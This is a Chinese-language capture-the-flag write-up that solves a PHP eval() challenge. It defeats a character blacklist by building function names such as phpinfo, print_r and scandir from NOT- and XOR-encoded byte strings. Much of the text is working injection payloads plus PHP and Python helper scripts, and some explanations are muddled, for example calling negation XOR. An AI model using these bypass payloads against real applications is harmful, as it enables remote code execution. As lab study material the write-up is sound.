<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

首先看源码这里正则匹配了%0x00~%0x20(空格),0~9,'"`$&等,还有字符defgops不区分大小写

strlen(count_chars(strtolower($_), 0x3)) > 0xd这个函数是说最多16重字符。

我们首先采用取反

<?php
$a=urlencode(~"phpinfo");
echo $a;
?>

构造payload

?_=~(%8F%97%8F%96%91%99%90)(%FF%FF%FF%FF%FF%FF%FF)();

可是没有反应换成取反试试

?_=(%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF)();

出现了phpinfo

<?php
$a=urlencode(~"print_r");
echo $a."\n";
$b=urlencode(~"scandir");
echo $b."\n";
$c=urlencode(~".");
echo $c;
?>

构造payload

?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

过不了第二个if

我们可以检查一下是否超过了16种字符,可以用复制下来直接看,但是只能php7.4+一下才能看。

我们就要用之前的字符去代替他。

a="pscadi";
b="ntr"
for x in b:
    for i in a:
        for j in a:
            for n in a:
                if ord(i)^ord(j)^ord(n)==ord(x):
                    print("{}={}^{}^{}".format(x,i,j,n))
                    break

可以用break提前结束一下,这里我直接取第一个了

(%8F%8F%96%9C%8C%A0%8F)^(%FF%9C%FF%9B%9C%FF%9C)^(%FF%9E%FF%96%9B%FF%9E)^(%FF%FF%FF%FF%FF%FF%FF)

构造payload,这里还是比较麻烦,可以验证。

<?php
$a=urldecode('%8F%8F%96%9C%8C%A0%8F')^urldecode('%FF%9C%FF%9B%9C%FF%9C')^urldecode('%FF%9E%FF%96%9B%FF%9E')^urldecode('%FF%FF%FF%FF%FF%FF%FF');
echo $a;
?>

接下来就是一样的了,把scandir给拼写出来,我这边直接写payload了。

/?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

因为这边只能看到前面,而不能看到后面的文件,所以这里再使用一个end函数。

flag{a4845ad1-c603-437f-aab5-fa64e876c6e4}拿到flag

更多推荐